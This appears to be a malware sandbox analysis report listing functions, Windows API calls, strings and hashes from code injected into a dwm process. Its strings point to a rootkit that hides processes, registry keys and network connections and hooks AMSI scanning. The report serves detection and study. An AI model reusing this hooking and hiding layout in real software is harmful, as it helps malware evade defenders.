Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: f60f77df28b5db655b44b70f9761e20235b6923ef2c97fa86e7d3c2f494fdfca
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: FDA13932704EA0C9FB22DB75A46C3BD6BB0E741B94F944135DE8927EE5CA3AC449C702

Function 00000262F1D0DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00000262F1D0DB99
FindNextFileW.KERNEL32 ref: 00000262F1D0DCCF
FindClose.KERNEL32 ref: 00000262F1D0DD0F
FindClose.KERNEL32 ref: 00000262F1D0DD3B

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: 5ec427f1e28192e5f670de6fda6fd69ee977d714a9bdbf4581e441d139128064
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: F1A10632704FA0C9FB20DB75A48C3AE6BB0E785F94F944116DE9827E9DCA7AC049C704

Function 00000262F1D01724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1D0172F
HeapAlloc.KERNEL32 ref: 00000262F1D0173E

Part of subcall function 00000262F1D01264: GetProcessHeap.KERNEL32 ref: 00000262F1D0126A
Part of subcall function 00000262F1D01264: HeapAlloc.KERNEL32 ref: 00000262F1D01279
Part of subcall function 00000262F1D01264: GetProcessHeap.KERNEL32 ref: 00000262F1D01293
Part of subcall function 00000262F1D01264: HeapAlloc.KERNEL32 ref: 00000262F1D012A4

Part of subcall function 00000262F1D01000: GetProcessHeap.KERNEL32 ref: 00000262F1D01006
Part of subcall function 00000262F1D01000: HeapAlloc.KERNEL32 ref: 00000262F1D01015
Part of subcall function 00000262F1D01000: GetProcessHeap.KERNEL32 ref: 00000262F1D01028
Part of subcall function 00000262F1D01000: HeapAlloc.KERNEL32 ref: 00000262F1D01037

RegOpenKeyExW.ADVAPI32 ref: 00000262F1D017AE
RegOpenKeyExW.ADVAPI32 ref: 00000262F1D017DB
RegCloseKey.ADVAPI32 ref: 00000262F1D017F5
RegOpenKeyExW.ADVAPI32 ref: 00000262F1D01815
RegCloseKey.ADVAPI32 ref: 00000262F1D01830
RegOpenKeyExW.ADVAPI32 ref: 00000262F1D01850
RegCloseKey.ADVAPI32 ref: 00000262F1D0186B
RegOpenKeyExW.ADVAPI32 ref: 00000262F1D0188B
RegCloseKey.ADVAPI32 ref: 00000262F1D018A6
RegOpenKeyExW.ADVAPI32 ref: 00000262F1D018C6
RegCloseKey.ADVAPI32 ref: 00000262F1D018E1
RegOpenKeyExW.ADVAPI32 ref: 00000262F1D01901
RegCloseKey.ADVAPI32 ref: 00000262F1D0191C
RegOpenKeyExW.ADVAPI32 ref: 00000262F1D0193C
RegCloseKey.ADVAPI32 ref: 00000262F1D01957
RegOpenKeyExW.ADVAPI32 ref: 00000262F1D01977
RegCloseKey.ADVAPI32 ref: 00000262F1D01992
RegCloseKey.ADVAPI32 ref: 00000262F1D0199C

Part of subcall function 00000262F1D012B8: RegQueryInfoKeyW.ADVAPI32 ref: 00000262F1D01315
Part of subcall function 00000262F1D012B8: GetProcessHeap.KERNEL32 ref: 00000262F1D01323
Part of subcall function 00000262F1D012B8: HeapAlloc.KERNEL32 ref: 00000262F1D01334
Part of subcall function 00000262F1D012B8: RegEnumValueW.ADVAPI32 ref: 00000262F1D01393
Part of subcall function 00000262F1D012B8: GetProcessHeap.KERNEL32 ref: 00000262F1D013DB
Part of subcall function 00000262F1D012B8: HeapAlloc.KERNEL32 ref: 00000262F1D013E9
Part of subcall function 00000262F1D012B8: GetProcessHeap.KERNEL32 ref: 00000262F1D01406
Part of subcall function 00000262F1D012B8: HeapFree.KERNEL32 ref: 00000262F1D01414
Part of subcall function 00000262F1D012B8: lstrlenW.KERNEL32 ref: 00000262F1D0141D
Part of subcall function 00000262F1D012B8: GetProcessHeap.KERNEL32 ref: 00000262F1D0142B
Part of subcall function 00000262F1D012B8: HeapAlloc.KERNEL32 ref: 00000262F1D01439

Strings

service_names, xrefs: 00000262F1D018BF
paths, xrefs: 00000262F1D01884
udp, xrefs: 00000262F1D01970
SOFTWARE\$nya-config, xrefs: 00000262F1D0178E
tcp_remote, xrefs: 00000262F1D01935
startup, xrefs: 00000262F1D017D1
tcp_local, xrefs: 00000262F1D018FA
pid, xrefs: 00000262F1D0180E
process_names, xrefs: 00000262F1D01849

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: e403f0359fa1c4c32d5c259256a382749dc8a7b7df2545cfba0458969aaa7737
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: A071D776310E75C6FB10DFA5E89C69923B8FB89B88F801211DA4D57F68DE3AC548C740

Function 00000262F1D01E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95memorythreadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000262F1D01E7F

Part of subcall function 00000262F1D022A8: GetModuleHandleA.KERNEL32(?,?,?,00000262F1D01EB1), ref: 00000262F1D022C0
Part of subcall function 00000262F1D022A8: GetProcAddress.KERNEL32(?,?,?,00000262F1D01EB1), ref: 00000262F1D022D1

CreateThread.KERNEL32 ref: 00000262F1D02043
TlsAlloc.KERNEL32 ref: 00000262F1D02049
TlsAlloc.KERNEL32 ref: 00000262F1D02055
TlsAlloc.KERNEL32 ref: 00000262F1D02061
TlsAlloc.KERNEL32 ref: 00000262F1D0206D
TlsAlloc.KERNEL32 ref: 00000262F1D02079
TlsAlloc.KERNEL32 ref: 00000262F1D02085

Strings

EnumServicesStatusExW, xrefs: 00000262F1D01F71, 00000262F1D01F92
NtQueryDirectoryFileEx, xrefs: 00000262F1D01EFC
NtEnumerateKey, xrefs: 00000262F1D01F19
AmsiScanBuffer, xrefs: 00000262F1D02012
PdhGetFormattedCounterArrayW, xrefs: 00000262F1D01FF1
NtQuerySystemInformation, xrefs: 00000262F1D01EA5
amsi.dll, xrefs: 00000262F1D02019
sechost.dll, xrefs: 00000262F1D01F99
NtQueryDirectoryFile, xrefs: 00000262F1D01EDF
ntdll.dll, xrefs: 00000262F1D01E8D
pdh.dll, xrefs: 00000262F1D01FD7, 00000262F1D01FF8
NtDeviceIoControlFile, xrefs: 00000262F1D01FB6
advapi32.dll, xrefs: 00000262F1D01F57, 00000262F1D01F78
NtEnumerateValueKey, xrefs: 00000262F1D01F36
PdhGetRawCounterArrayW, xrefs: 00000262F1D01FD0
NtResumeThread, xrefs: 00000262F1D01EC2
EnumServiceGroupW, xrefs: 00000262F1D01F50

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 37c37c4d0f6f8019c0686828f4b48498074dac16856741b909d659c60ed972ee
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 5851BE74101EAAE6FB04DFA8EC4D7D42B35B748B84FD04527940963D79DE3A869EC340

Function 00000262F1CA12B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000262F1CA1315
GetProcessHeap.KERNEL32 ref: 00000262F1CA1323
HeapAlloc.KERNEL32 ref: 00000262F1CA1334
RegEnumValueW.ADVAPI32 ref: 00000262F1CA1393

Part of subcall function 00000262F1CA1530: StrCmpIW.SHLWAPI ref: 00000262F1CA1561

GetProcessHeap.KERNEL32 ref: 00000262F1CA13DB
HeapAlloc.KERNEL32 ref: 00000262F1CA13E9
GetProcessHeap.KERNEL32 ref: 00000262F1CA1406
HeapFree.KERNEL32 ref: 00000262F1CA1414
lstrlenW.KERNEL32 ref: 00000262F1CA141D
GetProcessHeap.KERNEL32 ref: 00000262F1CA142B
HeapAlloc.KERNEL32 ref: 00000262F1CA1439
StrCpyW.SHLWAPI ref: 00000262F1CA145B
GetProcessHeap.KERNEL32 ref: 00000262F1CA1472
HeapFree.KERNEL32 ref: 00000262F1CA1480

Strings

d, xrefs: 00000262F1CA1356

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 4d273957cce40b14b81512b212960d0c5ac69eb77c03bf3582a26a423fa22559
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: E2515A32210B94DAE761CF62E85C39A77B1F788F99F844124DE4A47B98DF3DC0498B01

Function 00000262F1D012B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000262F1D01315
GetProcessHeap.KERNEL32 ref: 00000262F1D01323
HeapAlloc.KERNEL32 ref: 00000262F1D01334
RegEnumValueW.ADVAPI32 ref: 00000262F1D01393

Part of subcall function 00000262F1D01530: StrCmpIW.SHLWAPI ref: 00000262F1D01561

GetProcessHeap.KERNEL32 ref: 00000262F1D013DB
HeapAlloc.KERNEL32 ref: 00000262F1D013E9
GetProcessHeap.KERNEL32 ref: 00000262F1D01406
HeapFree.KERNEL32 ref: 00000262F1D01414
lstrlenW.KERNEL32 ref: 00000262F1D0141D
GetProcessHeap.KERNEL32 ref: 00000262F1D0142B
HeapAlloc.KERNEL32 ref: 00000262F1D01439
StrCpyW.SHLWAPI ref: 00000262F1D0145B
GetProcessHeap.KERNEL32 ref: 00000262F1D01472
HeapFree.KERNEL32 ref: 00000262F1D01480

Strings

d, xrefs: 00000262F1D01356

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 85af7c0df6d96ff56793c513c846f53bbe21566487b804fef60e96e1e86c56aa
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 1E511672210B98DAE725CF62E84C35AB7B5F789F98F844124DE4917B68EF3DC0498B00

Function 00000262F1D0EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,00000262F1D0F34A,?,?,00000000,00000262F1D0F2CD), ref: 00000262F1D0EFF5
GetLastError.KERNEL32(?,?,00000000,00000262F1D0F2CD), ref: 00000262F1D0F007
LoadLibraryExW.KERNEL32(?,?,00000000,00000262F1D0F2CD), ref: 00000262F1D0F049
VirtualProtect.KERNEL32 ref: 00000262F1D0F0A5
VirtualProtect.KERNEL32 ref: 00000262F1D0F0D6
FreeLibrary.KERNEL32(?,?,00000000,00000262F1D0F2CD), ref: 00000262F1D0F11A
GetProcAddress.KERNEL32(?,?,00000000,00000262F1D0F2CD), ref: 00000262F1D0F126

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00000262F1D0F157, 00000262F1D0F165
api-ms-, xrefs: 00000262F1D0F01B
ext-ms-, xrefs: 00000262F1D0F02E

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 7a4b9934c39954434b1bed372665b8cad1b52a957d3a02baf700525a140d350d
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 40518B31705F64D2FA199B56A80C3A922B0AB49FB0FD807259E3D47BD8EF3AD4498740

Function 00000262F1CA33A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000262F1CA33FD
GetProcessHeap.KERNEL32 ref: 00000262F1CA3412
HeapAlloc.KERNEL32 ref: 00000262F1CA3420
PdhGetCounterInfoW.PDH ref: 00000262F1CA3436
StrCmpW.SHLWAPI ref: 00000262F1CA344B

Part of subcall function 00000262F1CA3950: StrCmpNW.SHLWAPI ref: 00000262F1CA3972
Part of subcall function 00000262F1CA3950: StrStrW.SHLWAPI ref: 00000262F1CA3990
Part of subcall function 00000262F1CA3950: StrToIntW.SHLWAPI ref: 00000262F1CA39B7

GetProcessHeap.KERNEL32 ref: 00000262F1CA3488
HeapFree.KERNEL32 ref: 00000262F1CA3496

Strings

\GPU Engine(*)\Running Time, xrefs: 00000262F1CA3444

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 818ea9e5dd1d903799723881392a824daa059856c04b34a5f3159795b7fd6ab2
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: DB31DF36A04E60D6E722CF52A81C399A7B0F788BC5F840534DE4983EE5DF39C45A8741

Function 00000262F1D033A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000262F1D033FD
GetProcessHeap.KERNEL32 ref: 00000262F1D03412
HeapAlloc.KERNEL32 ref: 00000262F1D03420
PdhGetCounterInfoW.PDH ref: 00000262F1D03436
StrCmpW.SHLWAPI ref: 00000262F1D0344B

Part of subcall function 00000262F1D03950: StrCmpNW.SHLWAPI ref: 00000262F1D03972
Part of subcall function 00000262F1D03950: StrStrW.SHLWAPI ref: 00000262F1D03990
Part of subcall function 00000262F1D03950: StrToIntW.SHLWAPI ref: 00000262F1D039B7

GetProcessHeap.KERNEL32 ref: 00000262F1D03488
HeapFree.KERNEL32 ref: 00000262F1D03496

Strings

\GPU Engine(*)\Running Time, xrefs: 00000262F1D03444

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: e201dc5a76edf7af057087f8435fc5362f830a304ae305911e779908e8925d15
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: 19319A36A00E64EAF721CF12A84C759A3B0F788F95FC54625DE4957E28EF3DC45A8740

Function 00000262F1CA34B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000262F1CA3516
GetProcessHeap.KERNEL32 ref: 00000262F1CA3527
HeapAlloc.KERNEL32 ref: 00000262F1CA3535
PdhGetCounterInfoW.PDH ref: 00000262F1CA354B
StrCmpW.SHLWAPI ref: 00000262F1CA3560

Part of subcall function 00000262F1CA3950: StrCmpNW.SHLWAPI ref: 00000262F1CA3972
Part of subcall function 00000262F1CA3950: StrStrW.SHLWAPI ref: 00000262F1CA3990
Part of subcall function 00000262F1CA3950: StrToIntW.SHLWAPI ref: 00000262F1CA39B7

GetProcessHeap.KERNEL32 ref: 00000262F1CA358D
HeapFree.KERNEL32 ref: 00000262F1CA359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000262F1CA3559

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 2e2f9f89027a32d9da8d4dac6d4efbe50fd2faeaa6770bac27176f6d1014dbee
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: E831BF31A10F65CAE751DF26A8AC75963F0B784F85F845034DE8A83BA4DF39C449CB01

Function 00000262F1D034B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 00000262F1D03516
GetProcessHeap.KERNEL32 ref: 00000262F1D03527
HeapAlloc.KERNEL32 ref: 00000262F1D03535
PdhGetCounterInfoW.PDH ref: 00000262F1D0354B
StrCmpW.SHLWAPI ref: 00000262F1D03560

Part of subcall function 00000262F1D03950: StrCmpNW.SHLWAPI ref: 00000262F1D03972
Part of subcall function 00000262F1D03950: StrStrW.SHLWAPI ref: 00000262F1D03990
Part of subcall function 00000262F1D03950: StrToIntW.SHLWAPI ref: 00000262F1D039B7

GetProcessHeap.KERNEL32 ref: 00000262F1D0358D
HeapFree.KERNEL32 ref: 00000262F1D0359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000262F1D03559

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 674d6d720af4566d9f90aa9011e063bbd8d2adb1117406ba20fd6cb004da0350
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: 6B313931610F65DAFB50DF22A88C759B3B1F789F94F8441259E4A53B78EE3AD4498B00

Function 00000262F1CAA22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000262F1CAA289

Part of subcall function 00000262F1CAB144: __GetUnwindTryBlock.LIBCMT ref: 00000262F1CAB187
Part of subcall function 00000262F1CAB144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000262F1CAB1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000262F1CAA361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000262F1CAA5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000262F1CAA6BC

Strings

csm, xrefs: 00000262F1CAA30A
csm, xrefs: 00000262F1CAA2A3
csm, xrefs: 00000262F1CAA384

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: 3011e366b99087b3ad4c97fa2f5798e4d10311efc7662d3079cbf8b784a87d51
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: F2D18E32604FA0CAEB22DB65946D39D77B0F799B88F900125EA8957FD5CB35C489CB02

Function 00000262F1EB962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000262F1EB9689

